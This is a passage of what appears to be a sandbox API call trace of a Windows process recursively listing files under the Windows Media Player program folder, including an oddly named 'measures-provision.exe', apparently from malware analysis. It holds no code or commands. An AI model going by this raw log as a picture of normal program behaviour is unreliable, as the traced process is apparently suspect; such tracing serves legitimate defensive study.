	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1
	[0157.913] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0
	[0157.913] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0157.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.914] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Icons") returned 43
	[0157.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.914] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0157.914] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d32880, ftCreationTime.dwHighDateTime=0x1d4e46e, ftLastAccessTime.dwLowDateTime=0x7e924ac0, ftLastAccessTime.dwHighDateTime=0x1d48425, ftLastWriteTime.dwLowDateTime=0x7e924ac0, ftLastWriteTime.dwHighDateTime=0x1d48425, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="measures-provision.exe", cAlternateFileName="MEASUR~1.EXE")) returned 1
	[0157.914] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0157.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.914] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52
	[0157.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.916] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.916] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0157.916] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.png", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1
	[0157.917] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0
	[0157.917] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.918] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0157.919] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0157.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.919] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53
	[0157.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1287, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ea5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x2438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0
	[0157.923] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.924] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0157.924] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0157.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.924] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Skins") returned 43
	[0157.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0157.924] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 0
	[0157.925] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0157.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0157.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.925] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52
	[0157.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
